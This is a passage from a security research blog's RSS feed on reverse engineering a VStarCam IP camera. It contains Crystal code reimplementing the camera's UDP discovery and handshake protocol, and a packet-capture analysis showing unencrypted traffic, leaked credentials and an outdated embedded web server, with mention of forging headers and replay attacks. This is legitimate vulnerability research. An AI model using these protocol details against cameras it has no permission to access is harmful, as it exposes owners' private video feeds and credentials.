I, [2019-03-05 06:47:41 -08:00 #12248]  INFO -- : Closed client</code></pre>
<p>From the LOG we can see everything is good!</p>
<center>
<img src="/images/vstarcam/wireshark/2.png" style="width: 100%; height: 100%;">
</center>
<p>Doing a little packet capture analysis, we can also see we have received a new packet, 0xf1f00000. This packet seems to be sent after a certain number of pings and pongs were missed. We can assume this is some sort of disconnection packet, and we should reflect that in our code</p>
<pre class="code-block"><code># Packet sent when the camera has timed out from ping-pong
DISCONNECT_PACKET= &quot;\xf1\xf0\x00\x00&quot;

def send_disconnect
  data_sock.send(DISCONNECT_PACKET, target)
  LOG.info &quot;Sent Disconnect&quot;
end</code></pre>
<p>After we send the disconnect packet, the camera will send one of it&#39;s own. To avoid a destination unreachable, we should sleep for 0.1 seconds just to let the packet be received by the data socket, even though we aren&#39;t going to do anything with the packet</p>
]]></description>
      <content:encoded><![CDATA[<p>Now that we have learned some interesting things about the communications, let&#39;s see if we can write our own suite of tools to work with the camera.</p>
<p>Before we start, I&#39;ll be using the wonderful programming language from the boys over at Crystal. It&#39;s a very fast, statically typed language, with very zen and down to Earth syntax. The meta-programming aspect of the language is very cool!</p>
<p>First thing we should do is talk about design.</p>
<p>From what we can see right now the camera and client go through different states, things like sending the DBP, waiting for the BPA, that sort of thing. As such, we will want to make a simple state machine. Here is the basic outline of the functionality we need.</p>
<pre class="code-block"><code>class Client
  STATES = [:nothing,
            :send_dbp,
            :wait_for_dbr,
            :send_bcp,
            :handle_bp_handshake,
            :main_phase,
            :closing,
            :closed]
  getter state : Symbol = :nothing

  # Change the state of the client.
  def change_state(state)
    @state = state
    LOG.info &quot;Changing to #{@state}&quot;
    tick # rerun the tick since the state immediately changed and there is new stuff to do.
  end
end</code></pre>
<p>The idea is that whenever we change the state of our client, we are moving to the next phase of communication.</p>
<p>Next big thing we need to talk about are Fibers. If you are unfamiliar with them, I would suggest reading <a href="https://crystal-lang.org/reference/guides/concurrency.html">this article</a>.</p>
<p>We have two main tasks, we need to have a <strong>Data Loop</strong>, which will take data in from ports (depending on the state of the client, choose which port to use), and then take that data and shovel it off into a <a href="https://crystal-lang.org/api/0.27.2/Channel.html">channel</a>. Then we will have the <strong>Tick Loop</strong>, which will run the decisions to be made on the incoming data.</p>
<h2>Starting the client</h2>
<p>One of the first things we want to be able to do is start the client, and have it &quot;idle&quot; while waiting for connections.</p>
<pre class="code-block"><code># Sets up the client by binding the udp sockets to addresses and ports
  def setup
    # Don&#39;t resetup the client if its is_running
    if !is_running?
      LOG.info(&quot;Opening ports&quot;)
      # Our socket for sending UDP data to the camera
      @data_sock.bind DATA_SOCK_SRC
      # Super important to enable this or else we can&#39;t broadcast to 255.255.255.255!
      @data_sock.setsockopt LibC::SO_BROADCAST, 1
      # Our socket for sending discovery broadcasts.
      @db_sock.bind DB_SOCK_SRC
      @db_sock.setsockopt LibC::SO_BROADCAST, 1

      LOG.info(&quot;Ports opened&quot;)
      return
    else
      LOG.error &quot;CANNOT SETUP CLIENT WHILE IT IS RUNNING!&quot;
      raise &quot;CANNOT SETUP CLIENT WHILE IT IS RUNNING!&quot;
    end
  end

  def run
    # Dont allow the client to run again!
    if !is_running?
      @is_running = true
      # Change the state so it will attempt to discover a camera on the network
      @state = :send_dbp
      #Start our fibers
      start_data_fiber
      start_tick_fiber
    else
      LOG.error &quot;ALREADY RUNNING CLIENT!&quot;
    end
  end</code></pre>
<p>The main idea is that we set up the client, making a variable that will track if it&#39;s running or not. It also sets up the ports we need to communicate our discovery broadcast, as well as the UDP data socket. We also have a method run which will stop the method if it is already running, change the state to the first phase, then start our fibers for data and tick.</p>
<h2>Fiber Design</h2>
<pre class="code-block"><code># Channel that will communicate data back to the tick fiber
  @data_channel = Channel(Tuple(String, Socket::IPAddress)).new

  # Fiber which deals with incoming packet data, holds this data temporarily and then sends the data via @data_channel to the tick fiber.
  @data_fiber : Fiber = spawn {}

  # Fiber which handles the decision process of handling the state of the client. Recieves incoming data  from data_channel and processes it
  @tick_fiber : Fiber = spawn {}</code></pre>
<p>Then we want to write our two &quot;start fiber&quot; methods. We reassign the fiber variable for the action, trap any exceptions and rescue them out (specifically for the case of the ports shutting down while sending data), create a while loop with is_running? as a condition, and then fill in the meat of the fibers.</p>
<p>Data fiber will block on the data socket, then transfer any data received to the  channel.</p>
<p>Tick fiber will run the update tick continually until the client is no longer running.</p>
<pre class="code-block"><code># Start the fiber which blocks for incoming data, then forwards it to a channel.
def start_data_fiber
  @data_fiber = spawn do
    begin
      # Only run this fiber while is_running, if not exit
      while is_running?
        # Will block execution
        packet = data_sock.receive
        @data_channel.send(packet)
      end
    rescue e
      LOG.info &quot;DATA EXCEPTION #{e}&quot;
    end
  end
end

# Start the fiber which contains the tick logic.
def start_tick_fiber
  @tick_fiber = spawn do
    begin
      # Only run this fiber while is_running, if not exit
      while is_running?
        tick
      end
    rescue e
      LOG.info &quot;TICK EXCEPTION #{e}&quot;
    end
  end
end</code></pre>
<h2>Closing the client</h2>
<p>When the data fiber is blocked, there is no way to &quot;kill&quot; the fiber when we want the program to exit. Instead, we need to simulate some data into the socket, freeing the fiber to execute and close itself.</p>
<p>First we turn @is_running to false, then send the &quot;unblock fiber data&quot; into the data socket. We then use a Fiber.yield to give control back to the data fiber. While we can&#39;t give control back directly to the data fiber, we know that the tick fiber will most likely be blocked and the data fiber will get it&#39;s turn.</p>
<p>We then close the sockets, change_state to closing, and set the target camera back to 0.</p>
<pre class="code-block"><code>UNBLOCK_FIBER_DATA = &quot;e127e855-36d2-43f1-82c0-95f2ba5fe800&quot;
def close
  LOG.info(&quot;Closing client&quot;)
  @is_running = false
  change_state(:closing)

  # This line unblocks the @data_fiber
  @data_sock.send(UNBLOCK_FIBER_DATA, Socket::IPAddress.new(&quot;127.0.0.1&quot;, DATA_SOCK_SRC.port))

  # Force a fiber change to go to the other fibers to end them
  Fiber.yield

  # Now we can close the sockets
  @data_sock.close
  @db_sock.close

  # Reset the target_camera
  new_target &quot;0.0.0.0&quot;, 0
  change_state(:closed)
  LOG.info(&quot;Closed client&quot;)
end</code></pre>
<h2>Tick Layout</h2>
<p>In the tick method, we want to layout a basic pattern of transitions for the client.</p>
<pre class="code-block"><code># Main decision making function
def tick
  if state == :nothing
    # Do nothing
  elsif state == :send_dbp
    send_dbp
    change_state :wait_for_dbr
  elsif state == :wait_for_dbr
    info = wait_for_dbr
    if info
      @target_info = info
      change_state :send_bcp
    else
      change_state :send_dbp
    end
  elsif state == :send_bcp
    send_bcp
    change_state :handle_bp_handshake
  elsif state == :handle_bp_handshake
    handle_bp_handshake

    if has_target?
      change_state :main_phase
    else
      change_state :send_dbp
    end
  elsif state == :main_phase
    # Do ping pong, etc in here
    main_phase
  else
    raise &quot;THERE WAS A BAD IN TICK!&quot;
  end
end</code></pre>
<h2>DBP and DBR</h2>
<p>We need to send our DBP, so we can start to discover cameras. This process is fairly straight forward.</p>
<pre class="code-block"><code># Source address for the discovery packet
DB_SOCK_SRC = Socket::IPAddress.new(&quot;0.0.0.0&quot;, 6801)

# Destination address for the discovery packet
DB_SOCK_DST = Socket::IPAddress.new(&quot;255.255.255.255&quot;, 8600)

# Discovery packet data
DBP = &quot;\x44\x48\x01\x01&quot;

# Send the DBP to the camera
def send_dbp
  LOG.info(&quot;Sending DBP&quot;)
  db_sock.send(DBP, DBP_SOCK_DST)
  LOG.info(&quot;Sent DBP&quot;)
end</code></pre>
<p>After sending we want to wait until the camera responds with the DBR. We also want to parse some of the data coming in, as it has some juicy info we might want to reference later.</p>
<pre class="code-block"><code># Size of the discovery packet reply
DBR_SIZE = 570

# Regex to check if a packet is a DBR
DBR_REGEX = /^DH/

# Wait for the DBR to come back from the camera.
def wait_for_dbr : Hash(Symbol, String)?
  LOG.info(&quot;Waiting for DBR&quot;)
  packet = db_sock.receive
  if packet
    if check_dbr(packet)
      info = parse_dbr(packet)
      LOG.info(&quot;DBR RECEIVED FROM #{info[:camera_ip]}, UID: #{info[:uid]}&quot;)
      return info
    else
      LOG.info(&quot;BAD/NON DBR RECEIVED! #{packet[0].bytes.map {|d| d.to_s(16).rjust(2, &#39;0&#39;)}.join(&quot;\\x&quot;)}&quot;)
    end
  else
    LOG.info(&quot;NO DBR RECEIVED!&quot;)
  end
  return nil
end

# Check if the packet we recieved was a DBR
def check_dbr(packet) : Bool
  !!(packet[0] =~ DBR_REGEX)
end

# Parse the DBR information into a hash
def parse_dbr(packet) : Hash(Symbol, String)
  data = packet[0]
  connection = packet[1]

  result = {} of Symbol =&gt; String
  result[:camera_ip] = data[4..19].gsub(&quot;\x00&quot;, &quot;&quot;)
  result[:netmask] = data[20..35].gsub(&quot;\x00&quot;, &quot;&quot;)
  result[:gateway] = data[36..51].gsub(&quot;\x00&quot;, &quot;&quot;)
  result[:dns_server1] = data[52..67].gsub(&quot;\x00&quot;, &quot;&quot;)
  result[:dns_server2] = data[68..83].gsub(&quot;\x00&quot;, &quot;&quot;)
  result[:mac_address] = (data[84..88].bytes.map {|b| b.to_s(16).rjust(2, &#39;0&#39;).upcase}).join
  result[:http_port] = ((data.bytes[91].to_i32 &lt;&lt; 8) + data.bytes[90].to_i32).to_s
  result[:uid] = data[91..105]
  LOG.info(&quot;Parsed new target camera #{result}&quot;)
  result
end</code></pre>
<h2>BCP and BPR</h2>
<p>We then want to send a BCP to broadcast now that the DPR has been resolved.</p>
<pre class="code-block"><code># Destination address for the f130 broadcast packet
BC_SOCK_DST = Socket::IPAddress.new(&quot;255.255.255.255&quot;, 32108)
# F130 broadcast packet data
BCP = &quot;\xf1\x30\x00\x00&quot;
# Send the magic f130 broadcast packet
def send_bcp
  data_sock.send(BCP, BC_SOCK_DST)
end</code></pre>
<p>We now need to handle the handshake, which consists of broadcasting a BCP and waiting for a BPS, then replying back with a BPS, and then receiving a BPA.</p>
<pre class="code-block"><code># F130 broadcast packet reply header
BPR_HEADER = &quot;\xf1\x42\x00\x14&quot;

# Fixed BPR size
BPR_SIZE = 24

# Character sent for &quot;SYN&quot;
BP_SYN = &#39;A&#39;

# Character sent for &quot;ACK&quot;
BP_ACK = &#39;B&#39;

# Complete the handshake using BPS
def handle_bp_handshake
  LOG.info(&quot;Waiting for BPS&quot;)
  packet = @data_channel.receive #BPR size is always fixed
  LOG.info(&quot;Recieved a packet&quot;)
  if packet
    data = packet[0]  # Contains the packet data
    camera_ip = packet[1] # Connection info to connect back into the camera
    LOG.info(&quot;Recieved a potential BPS from #{camera_ip}&quot;)
    # Check if out BPR is actually a BPR
    if data[1] == BP_SYN
      LOG.info(&quot;BPS Verified!&quot;)
    else
      LOG.info(&quot;BPS BAD! #{&quot;\\x&quot; + data.bytes.map {|d| d.to_s(16).rjust(2, &#39;0&#39;)}.join(&quot;\\x&quot;)}&quot;)
      return
    end
    # Echo back packet data back
    LOG.info(&quot;Waiting for BPA&quot;)
    data_sock.send(data, camera_ip)
    # Recv the BPR ACK packet
    packet = @data_channel.receive
    if packet
      LOG.info(&quot;Recieved potential BPA?&quot;)
      data = packet[0]
      camera_ip = packet[1]
      if data[1] == BP_ACK
        LOG.info(&quot;BPA Verified! Handshake successful!&quot;)
        # set the target camera to the current connection
        new_target camera_ip
      else
        LOG.info(&quot;BPA BAD! #{data.bytes.map {|d| d.to_s(16).rjust(2, &#39;0&#39;)}.join(&quot;\\x&quot;)}&quot;)
      end
    end
  end
end</code></pre>
<h2>Main Phase</h2>
<p>Now we need to handle the ping pong packets! This is super simple now that we have finished the hard part.</p>
<pre class="code-block"><code># Packet that must be sent between the camera and the client at least once every 11 packets
PING_PACKET = &quot;\xf1\xe0\x00\x00&quot;
# Packet that must be sent between the camera and the client at least once every 11 packets
PONG_PACKET = &quot;\xf1\xe1\x00\x00&quot;

def main_phase
  # Block here to recieve data from the data fiber
  data = @data_channel.receive

  # Classify each packet and respond
  if data[0] == PING_PACKET
    send_pong
    LOG.info &quot;Sent Pong&quot;
  elsif data[0] == PONG_PACKET
    send_ping
    LOG.info &quot;Sent Ping&quot;
  # This is important! The data fiber will block, waiting for data to come through
  # So to exit the program, we just send the unblock data to the data socket to free it
  elsif data[0][0..3] == BPA_HEADER
    LOG.info &quot;Receive extra BPA&quot;
  elsif data[0] == UNBLOCK_FIBER_DATA
    LOG.info &quot;RECEIVED UNBLOCK FIBER COMMAND!&quot;
  else
    LOG.info &quot;UNKNOWN PACKET RECEIVED from #{data[1]} : #{data[0].bytes.map {|d| d.to_s(16).rjust(2, &#39;0&#39;)}.join(&quot;\\x&quot;)}&quot;
  end
end

def send_ping
  data_sock.send(PING_PACKET, target)
end

def send_pong
  data_sock.send(PONG_PACKET, target)
end</code></pre>
<h2>Testing</h2>
<p>If we open up Wireshark and listen in to the connection, we should see that pings and pongs should coming through, and there should be no errors. Also the LOG should show that there were no errors as well.</p>
<p>Here&#39;s the code I used to run it.</p>
<pre class="code-block"><code>require &quot;./client&quot;

client = Client.new
client.run
sleep 5
client.close</code></pre>
<center>
<img src="/images/vstarcam/wireshark/1.png" style="width: 100%; height: 100%;">
</center>
<p>In the screenshot, we can see no errors or unexpected output. We get some destination unreachable errors at the end because that&#39;s when the server shutdown.</p>
<pre class="code-block"><code>I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Opening ports
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Ports opened
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Sending DBP
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Sent DBP
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Changing to wait_for_dbr
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Waiting for DBR
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Parsed new target camera {:camera_ip =&gt; &quot;192.168.11.140&quot;, :netmask =&gt; &quot;255.255.255.0&quot;, :gateway =&gt; &quot;192.168.11.1&quot;, :dns_server1 =&gt; &quot;8.8.8.8&quot;, :dns_server2 =&gt; &quot;192.168.11.1&quot;, :mac_address =&gt; &quot;48022A0BDBB4&quot;, :http_port =&gt; &quot;11481&quot;, :uid =&gt; &quot;VSTB668515UZCPK&quot;}
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : DBR RECEIVED FROM 192.168.11.140, UID: VSTB668515UZCPK
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Changing to send_bcp
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Changing to handle_bp_handshake
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Waiting for BPS
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Recieved a packet
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Recieved a potential BPS from 192.168.11.140:10560
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : BPS Verified!
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Waiting for BPA
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Recieved potential BPA?
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : BPA Verified! Handshake successful!
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Changing to main_phase
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Receive extra BPA
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Receive extra BPA
I, [2019-03-05 06:47:36 -08:00 #12248]  INFO -- : Receive extra BPA
I, [2019-03-05 06:47:37 -08:00 #12248]  INFO -- : Sent Pong
I, [2019-03-05 06:47:37 -08:00 #12248]  INFO -- : Sent Pong
I, [2019-03-05 06:47:38 -08:00 #12248]  INFO -- : Sent Pong
I, [2019-03-05 06:47:39 -08:00 #12248]  INFO -- : Sent Pong
I, [2019-03-05 06:47:40 -08:00 #12248]  INFO -- : Sent Pong
I, [2019-03-05 06:47:41 -08:00 #12248]  INFO -- : Sent Pong
I, [2019-03-05 06:47:41 -08:00 #12248]  INFO -- : Sent Pong
I, [2019-03-05 06:47:41 -08:00 #12248]  INFO -- : Closing client
I, [2019-03-05 06:47:41 -08:00 #12248]  INFO -- : Changing to closing
I, [2019-03-05 06:47:41 -08:00 #12248]  INFO -- : RECEIVED UNBLOCK FIBER COMMAND!
I, [2019-03-05 06:47:41 -08:00 #12248]  INFO -- : Changing to closed
I, [2019-03-05 06:47:41 -08:00 #12248]  INFO -- : Closed client</code></pre>
<p>From the LOG we can see everything is good!</p>
<center>
<img src="/images/vstarcam/wireshark/2.png" style="width: 100%; height: 100%;">
</center>
<p>Doing a little packet capture analysis, we can also see we have received a new packet, 0xf1f00000. This packet seems to be sent after a certain number of pings and pongs were missed. We can assume this is some sort of disconnection packet, and we should reflect that in our code</p>
<pre class="code-block"><code># Packet sent when the camera has timed out from ping-pong
DISCONNECT_PACKET= &quot;\xf1\xf0\x00\x00&quot;

def send_disconnect
  data_sock.send(DISCONNECT_PACKET, target)
  LOG.info &quot;Sent Disconnect&quot;
end</code></pre>
<p>After we send the disconnect packet, the camera will send one of it&#39;s own. To avoid a destination unreachable, we should sleep for 0.1 seconds just to let the packet be received by the data socket, even though we aren&#39;t going to do anything with the packet</p>
<hr style="margin-top: 2rem; margin-bottom: 1rem; border: none; border-top: 1px solid #ccc;" />
<div class="rss-entry-metadata" style="font-size: 0.9em; line-height: 1.5; background: #faf6ee; color: #1c1c1e; padding: 0.85rem; border: 1px solid #1c1c1e; border-radius: 4px;">
  <p style="margin: 0.25rem 0;"><strong>Category Chain:</strong> <a href="https://sol.vin/vstarcam_journey/">VStarCam - Investigational Journey</a></p>
  <p style="margin: 0.25rem 0;"><strong>Date:</strong> 2019-09-03</p>
  <p style="margin: 0.25rem 0;"><strong>Author:</strong> Ian Rash</p>
  <p style="margin: 0.5rem 0 0.25rem 0;"><strong>Skills &amp; Technologies:</strong></p>
  <ul style="margin: 0.25rem 0 0 1.25rem; padding: 0;">
    <li><strong>Crystal</strong> (<em>Languages</em>) &bull; 8 years &mdash; A fast, compiled, statically typed language with Ruby-inspired syntax. [<a href="https://crystal-lang.org">Website</a> | <a href="https://github.com/crystal-lang/crystal">Github</a>]</li>
    <li><strong>Security Research</strong> (<em>Security</em>) &bull; 7 years &mdash; Analyzing hardware, firmware, and web applications to discover vulnerabilities and document security risks. [<a href="https://cve.mitre.org">Cve</a>]</li>
    <li><strong>Reverse Engineering</strong> (<em>Systems &amp; Security</em>) &bull; 8 years &mdash; Disassembling and decompiling embedded firmware, binary executables, and proprietary network protocols. [<a href="https://ghidra-sre.org">Ghidra</a>]</li>
  </ul>
</div>
]]></content:encoded>
    </item>
    <item>
      <title>[VStarCam - Investigational Journey] Hardware Dumping</title>
      <link>https://sol.vin/vstarcam_journey/3.html</link>
      <guid isPermaLink="true">https://sol.vin/vstarcam_journey/3.html</guid>
      <pubDate>Tue, 03 Sep 2019 00:00:00 GMT</pubDate>
      <dc:date>2019-09-03</dc:date>
      <dc:creator>Ian Rash</dc:creator>
      <author>Ian Rash</author>
      <category domain="chain">VStarCam - Investigational Journey</category>
      <category domain="skill">Hardware Security</category>
      <category domain="skill-slug">hardware_security</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Hardware Security</dc:subject>
      <category domain="skill">Reverse Engineering</category>
      <category domain="skill-slug">reverse_engineering</category>
      <category domain="skill-category">Systems &amp; Security</category>
      <dc:subject>Reverse Engineering</dc:subject>
      <category domain="skill">Security Research</category>
      <category domain="skill-slug">security_research</category>
      <category domain="skill-category">Security</category>
      <dc:subject>Security Research</dc:subject>
      <media:content url="https://sol.vin/images/vstarcam/wireshark/wireshark1.png" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/wireshark/wireshark2.png" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/wireshark/wireshark3.png" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/wireshark/wireshark5.png" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/wireshark/wireshark6.png" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/wireshark/wireshark7.png" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/wireshark/wireshark8.png" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/wireshark/wireshark9.png" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/wireshark/wireshark10.png" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/wireshark/wireshark11.png" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/wireshark/wireshark12.png" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/wireshark/wireshark13.png" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/wireshark/wireshark14.png" medium="image" />
      <media:content url="https://sol.vin/images/vstarcam/wireshark/wireshark15.png" medium="image" />
      <media:thumbnail url="https://sol.vin/images/vstarcam/wireshark/wireshark1.png" />
      <description><![CDATA[<p>I figured since a majority of people would be using the Android client, I would start my audit there. The Android app, Eye4, is available in two separate downloads, one from the <a href="http://www.eye4.so/AppDown.html">Eye4 site</a>, and one from the <a href="https://play.google.com/store/apps/details?id=vstc.vscam.client&amp;hl=en">Play store</a>. They also have a <a href="http://www.eye4.so/download/">Windows download</a>, which I will audit later.</p>
<p>The first thing I wanted to do is compare the Play store APK with the Eye4 site APK to see if there is any foul play going on, but unfortunately their personal download on the site didn&#39;t work and lead to a blank page.</p>
<p>We want to start our network sniffer, and begin our testing process.</p>
<p>First thing we want to do is boot the camera up after resetting it for the first time. This makes sure we have a clean slate when working with the camera. We will be resetting the camera multiple times to make sure we have lots of samples to compare.</p>
<p>Without connecting to any client, we will boot the camera up, connect to our sniffer, capture all the boot network data, then reset the camera, stop capture, and restart the whole thing. We do this about 2-3 times to get an idea of what the booting process looks like.</p>
<p>After that, we will connect the camera to the client, by searching for LAN in the client and connecting that way. Delete the camera, reset, then try it again. Do this multiple times to get multiple captures.</p>
<p>After that, we will fully connect the camera to the app, changing the password, as well as using various features, such as camera control, taking videos/pictures, changing settings, etc.</p>
<p>Once we are satisfied with our captures, we will begin dissecting them packet by packet.</p>
<h2>Boot Sequence</h2>
<p>First impressions of boot sequence captures, what do we notice?</p>
<p>1. Take a look at some of the packets in the capture. 1. Do we see packets that have similar contents? 2. Can we see similar parts of packets that have small contents changed or replaced. 3. Do we see plaintext words/phrases? 4. Do we see commonly known numbers, ids, serial numbers, etc?</p>
<p>If you answered yes to any of these then the device most likely doesn&#39;t use encryption. This also means the device leaks data.</p>
<p>So let&#39;s go through the packets.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark1.png" style="width: 100%; height: 100%;">
</center>
<p>The first weird thing I noticed is that the camera picked up a weird IP address for my network. It started out with the ip address 192.168.1.126, but my internal network range is 192.168.11.(100-254) meaning this camera had already come with this configuration. It also broadcasts an ARP looking for 192.168.1.1, and sends out a bunch of &quot;Hello I&#39;m online!&quot; messages. Already this doesn&#39;t bode well, as it looks like they aren&#39;t using any encryption. Maybe it&#39;s a fluke, let&#39;s dive deeper.</p>
<p>I also saw that the device also contacts a couple external hosts</p>
<p><em> s2.vstarcam.com via UDP </em> s3.vstarcam.com via UDP <em> s2.eye4.cn via UDP </em> An Amazon EC2 instance via UDP <em> Google&#39;s public DNS, looking for baidu, wshifen.com, a.shifen.com </em> An Alibaba cloud instance which it talks to via HTTPS. <em> A Tencent cloud instance which it talks to via HTTP </em> time.windows.com via NTP</p>
<p>What did we learn?</p>
<p><em> The device may not use encryption </em> The device may leak data as a result.</p>
<p>Let&#39;s take a look at the client&#39;s first registering of the camera, and it&#39;s first communications.</p>
<h2>Registering the camera</h2>
<p>I loaded the app onto an android emulator and went to town. I started by registering  the camera to the client by using the &quot;search for LAN&quot; feature.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark2.png" style="width: 100%; height: 100%;">
</center>
<p>First thing we notice is that when the Android client initiates the connection, it doesn&#39;t talk directly to the camera, it instead sends a UDP packet with the contents 0x44480101. We will call this the <strong>Discovery Broadcast Packet</strong> or <strong>DBP</strong> for short. he camera then replies back with a 0x44480108, and then dumps a bunch of settings information to the broadcast address. We will call this the <strong>Discovery Broadcast Reply</strong> or <strong>DBR</strong>.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark3.png" style="width: 100%; height: 100%;">
</center>
<p>For some reason Wireshark labels this packet as an <a href="https://wiki.wireshark.org/ASTERIX">ASTERIX</a> packet, which when I looked it up seems to have nothing to do with this protocol. Maybe it shares a port or something and Wireshark incorrectly labels it.</p>
<p>When you look at the data incoming, we can start to see how this packet is laid out. The first 4 bytes are a signal to the client that it&#39;s looking for it, the followed by a space specifically carved out for an IP address, plus one 0x00 byte to delimit. The way we can tell this is because if we were to count the chars in a full IP address string (XXX.XXX.XXX.XXX which is 15 bytes, plus a 0x00 byte to delimit, making it 16 bytes.) We can see the next IP address (Which is the netmask) would be adjacent to that.</p>
<p>The camera then sends an exact copy of the packet it just broadcast, directly to the client.</p>
<p>After this little dance the camera and client talk directly to each other. We see it chooses the port 47499, which when converted into hex is 0xB98B. We can see in the 0x80 row of the large packet above, there is a 0xB98B in little endian. This must be how the camera negotiates what port the client will talk to after the discovery phase.</p>
<p>When we compare this port number to our other captures, (remember, I captured the registration process, then reset the device, then did it again to see if I could notice any patterns.) we notice that the port changes with every reboot.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark5.png" style="width: 100%; height: 100%;">
</center>
<p>Looking at the contents of the HTTP GET request shows a sad truth, the devices doesn&#39;t use any encryption for it&#39;s client communications. This super concerning because not only does this compromise security of the device, especially on wireless, in an earlier capture, we have SEEN the device actually use SSL. So they are just choosing not to?</p>
<p>Looking at the reply brings much of the same sadness.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark6.png" style="width: 100%; height: 100%;">
</center>
<p>Looking at the HTTP headers, we can also see that the web server the device is GoAhead webs, an embedded web server, and it also hasn&#39;t been updated since 2004. JUICY!</p>
<p>So this is where it gets interesting.</p>
<p>So, they already have an HTTP server to talk to the camera and serve CGI scripts, but they decided to add an extra protocol on top of that. This is where some strange UDP protocol starts to come into play.</p>
<p>Even though the camera and client were literally just talking via HTTP, it seems to forget all about that and try again to search for a new camera. The client sends out a 0xf1300000 packet to my subnet&#39;s broadcast address (192.168.11.255). We will call this packet the <strong>Broadcast Connection Packet</strong> or <strong>BCP</strong> for short.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark7.png" style="width: 100%; height: 100%;">
</center>
<p>The camera then replies back with a small part of its UID and the letter A. The client repeats this message back to the camera. We will call this the <strong>Broadcast Packet SYN</strong> or <strong>BPS</strong> for short.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark8.png" style="width: 100%; height: 100%;">
</center>
<p>The camera then sends the same packet back, this time with the A changed to a B. We will call this the <strong>Broadcast Packet ACK</strong> or <strong>BPA</strong> for short</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark9.png" style="width: 100%; height: 100%;">
</center>
<p>Finally we arrive at the main phase of the connection, here we can observe three things happening.</p>
<p>1. The client and the camera are constantly engaging in a &quot;ping pong&quot; pattern message loop, where if either the client or the camera receives a 0xF1E0000 or 0xF1E10000, it replies back with the other packet. So for example, if a 0xF1E0000 is received it will reply back with 0xF1E10000. For reference 0xF1E0000 is ping, and 0xF1E1000 is pong. <em> You can illustrate this best by using the Wireshark filter below </em> <code>frame contains F1:E1:00:00 || frame contains F1:E0:00:00</code> * &lt;img src=&quot;/images/vstarcam/wireshark/wireshark10.png&quot; style=&quot;width: 100%; height: 100%;&quot;&gt;</p>
<p>2. The client sends GET requests with a special header, via UDP to the camera. The client receives replies back denoting success or failure, and the results of the query, sometimes broken up into multiple packets. 3. The client receives video and picture data from the camera. <em> livestream.cgi </em> snapshot.cgi * audiosteam.cgi Let&#39;s focus a little more on number two, since one is already solved, and three requires more extensive knowledge of video formats and decoding.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark11.png" style="width: 100%; height: 100%;">
</center>
<p>The first 16 bytes of the packet are some sort of specialized header. We are going to want to get more samples of these to be able to learn how to forge our own. We also want to get samples to see if it might be vulnerable to replay tactics as, the header might block potential replay attacks. After that comes the GET request. Right off the bat we are hit with another oddity of the client, credential leakage, and unnecessary duplication. Not only are the communications not encrypted, so it also leaks the password on every GET interaction but, it also repeats the credentials twice just in case the first time wasn&#39;t good enough.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark12.png" style="width: 100%; height: 100%;">
</center>
<p>A short time afterwards the camera sends a packet that looks like this. This seems to acknowledge that the command went through.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark13.png" style="width: 100%; height: 100%;">
</center>
<p>Here we see another GET Request but this one is called &quot;trans_cmd_string&quot;. No idea what this did at the time, but I took note of the two arguments cmd, and command.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark14.png" style="width: 100%; height: 100%;">
</center>
<p>We see a standard reply, again, comes with a special 16 byte header, and what seems to be some sort of Javascript or some sort of configuration. This was the reply to check_users.cgi.</p>
<center>
<img src="/images/vstarcam/wireshark/wireshark15.png" style="width: 100%; height: 100%;">
</center>
<p>This is another oddity, some times the GET request would have multiple stacked inside, starting with a 16 byte header, and padding each request with 8 bytes in the front.</p>
<p>What did we learn?</p>
<p><em> The device has some sort of HTTP service open, but the port changes for some reason, most likely with reboot. </em> The device has some strange UDP protocol that encapsulates GET requests sent to the netcam. <em> The device leaks username and password, as well as has confusing and strange argument duplication </em> The device uses no encryption what-so-ever to encrypt video feeds and pictures sent by the device to the client. <em> UDP GET requests have a special packet header </em> The protocol is written in faulty ways, exemplified by the duplication of elements, strange request packing, and odd behavior.</p>
]]></description>
